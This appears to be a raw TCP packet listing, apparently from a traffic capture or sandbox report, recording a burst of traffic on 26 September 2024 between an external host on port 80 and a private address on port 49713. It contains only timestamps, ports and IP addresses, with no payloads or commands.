Sep 26, 2024 21:33:06.375282049 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.375293016 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.375303030 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.375313044 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.375320911 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.375323057 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.375350952 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.375380039 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.376013041 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.376028061 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.376068115 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.405606985 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.405627012 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.405637026 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.405642033 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.405647993 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.405658007 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.405668020 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.405800104 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.405858994 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.407876968 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.407957077 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.419681072 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.419707060 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.419717073 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.419961929 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.422595978 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.422616005 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.422626019 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.422631025 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.422636032 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.422641039 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.422646999 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.422657013 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.422662973 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.422672987 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.422758102 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.423156023 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.423166990 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.423255920 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.426417112 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.426429987 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.426440001 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.426480055 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.426503897 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.427333117 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.427344084 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.427354097 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.427364111 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.427396059 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.427431107 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.430481911 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.430495977 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.430506945 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.430568933 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.430573940 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.430593967 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.430594921 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.430607080 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.430619001 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.430634975 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.430671930 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.430831909 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.430843115 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.430852890 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.430864096 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.430883884 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.430910110 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.430957079 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.430969000 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.430978060 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.431005001 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.431025982 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.431035042 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.431049109 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.431056976 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.431066990 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.431082010 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.431119919 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.431339979 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.431350946 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.431427956 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.431477070 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.431488991 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.431499004 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.431509972 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.431519985 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.431521893 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.431531906 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.431543112 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.431554079 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.431564093 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.431566000 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.431608915 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.431615114 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.431627035 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.431637049 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.431648016 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.431658030 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.431658983 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.431699038 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.431812048 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.431823969 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.431833982 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.431843996 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.431858063 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.431860924 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.431878090 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.431911945 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.434452057 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.434467077 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.434477091 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.434488058 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.434498072 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.434509039 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.434519053 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.434534073 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.434561014 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.434566975 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.434578896 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.434587955 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.434597969 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.434612036 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.434649944 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.462639093 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.462683916 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.462694883 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.462737083 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.462748051 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.462759018 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.462768078 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.462774038 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.462912083 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.462912083 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.463095903 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.463107109 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.463116884 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.463125944 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.463135958 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.463145971 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.463155031 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.463160038 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.463165045 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.463176012 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.463185072 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.463191032 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.463212013 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.463236094 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.463598013 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.463608980 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.463618994 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.463628054 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.463639021 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.463660955 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.463685989 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.463846922 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.463857889 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.463866949 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.463876963 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.463886976 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.463900089 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.463932991 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.464114904 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.464129925 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.464139938 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.464149952 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.464159012 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.464163065 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.464173079 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.464207888 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.464241982 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.494302034 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.494322062 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.494334936 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.494370937 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.494393110 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.494405985 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.494409084 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.494420052 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.494431973 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.494443893 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.494486094 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.513211012 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.513289928 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.513294935 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.513320923 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.513341904 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.513364077 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.513639927 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.513657093 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.513674974 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.513684988 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.513694048 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.513711929 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.513716936 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.513757944 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.514514923 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.514560938 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.521498919 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.521521091 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.521532059 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.521585941 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.521608114 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.521716118 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.521728039 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.521738052 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.521749020 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.521770000 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.521791935 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.523844957 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.523897886 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.526141882 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.526154041 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.526164055 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.526175022 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.526186943 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.526218891 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.526431084 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.526442051 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.526452065 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.526566982 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.526566982 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.530704975 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.530757904 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.530961037 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.530971050 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.530981064 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.530992985 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.531002998 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.531013012 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.531018972 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.531063080 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.531116009 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.531126976 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.531141996 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.531152010 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.531161070 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.531168938 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.531172037 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.531183958 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.531188965 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.531194925 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.531205893 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.531236887 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.531279087 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.531496048 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.531507015 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.531517029 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.531526089 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.531548977 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.531562090 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.531573057 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.531582117 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.531590939 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.531595945 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.531600952 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.531630039 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.531653881 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.533514023 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.533524036 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.533535957 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.533555984 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.533565998 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.533570051 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.533576012 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.533586979 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.533596992 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.533607006 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.533611059 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.533620119 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.533628941 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.533637047 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.533638954 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.533649921 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.533659935 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.533665895 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.533673048 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.533684015 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.533693075 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.533694029 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.533704042 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.533714056 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.533715963 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.533725023 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.533740044 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.533746004 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.533751011 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.533771992 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.533797979 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.535892010 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.535953045 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.558803082 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.558830023 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.558840036 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.558859110 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.558887959 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.558960915 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.558981895 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.558991909 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.559001923 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.559005976 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.559015989 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.559062958 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.559127092 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.559139013 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.559148073 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.559159040 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.559169054 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.559170008 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.559181929 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.559196949 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.559206963 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.559216022 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.559223890 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.559225082 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.559237957 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.559268951 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.559293985 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.562542915 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.562558889 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.562567949 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.562577009 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.562587023 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.562596083 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.562602997 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.562607050 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.562618017 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.562628031 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.562638044 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.562649012 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.562652111 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.562659025 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.562669039 CEST	80	49713	185.215.113.16	192.168.2.5
